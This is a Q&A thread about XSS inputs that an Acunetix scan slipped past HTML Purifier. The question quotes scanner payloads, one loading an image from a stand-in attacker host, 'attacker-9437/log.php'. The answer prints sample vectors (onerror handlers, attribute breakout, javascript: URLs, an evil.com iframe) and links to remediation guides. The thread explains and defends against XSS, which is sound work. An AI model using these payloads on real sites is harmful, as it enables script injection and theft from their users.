即使在使用HTML Purifier之后，XSS漏洞仍然存在

Question

I'm testing one of my web application using Acunetix. To protect this project against XSS attacks, I used HTML Purifier. This library is recommended by most of PHP developers for this purpose, but my scan results shows HTML Purifier can not protect us from XSS attacks completely. The scanner found two ways of attack by sending different harmful inputs:

1. 1<img sRc='http://attacker-9437/log.php? (See HTML Purifier result here)
2. 1"onmouseover=vVF3(9185)" (See HTML Purifier result here)

As you can see results, HTML Purifier could not detect such attacks. I don't know if is there any specific option on HTML Purifier to solve such problems, or is it really unable to detect these methods of XSS attacks.
Do you have any idea? Or any other solution?

Answer 1

All the HTML purifier seems to be doing, from the brief look that I gave, was HTML encode certain characters such as <, > and so on. However there are other means of invoking JS without using the normal HTML characters:

javascript:prompt(1)  // In image tags
src="http://evil.com/xss.html"  // In iFrame tags

Please review comments (by @pinkgothic) below.

---

Points below:

1. This would be HTML injection which does effectively lead to XSS. In this case, you open an <img> tag, point the src to some non-existent file which in turn raises an error. That can then be handled by the onerror handler to run some JavaScript code. Take the following example:

<img src=x onerror=alert(document.domain)>

The entrypoint for this it generally accompanied by prematurely closing another tag on an input. For example (URL decoded for clarity):

GET /products.php?type="><img src=x onerror=prompt(1)> HTTP/1.1

This however, is easily mititgated by HTML escaping meta-character (i.e. <, >).

1. Same as above, except this could be closing off an HTML attribute instead of a tag and inserting its own attribute. Say you have a page where you can upload the URL for an image:

<img src="$USER_DEFINED">

A normal example would be:

<img src="http://example.com/img.jpg">

However, inserting the above payload, we cut off the src attribute which points to a non-existent file and inject an onerror handler:

<img src="1"onerror=alert(document.domain)">

This executes the same payload mentioned above.

---

Remediation

This is heavily documented and tested in multiple places, so I won't go into detail. However, the following two articles are great on the subject and will cover all your needs:

1. https://www.acunetix.com/websitesecurity/cross-site-scripting/
2. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet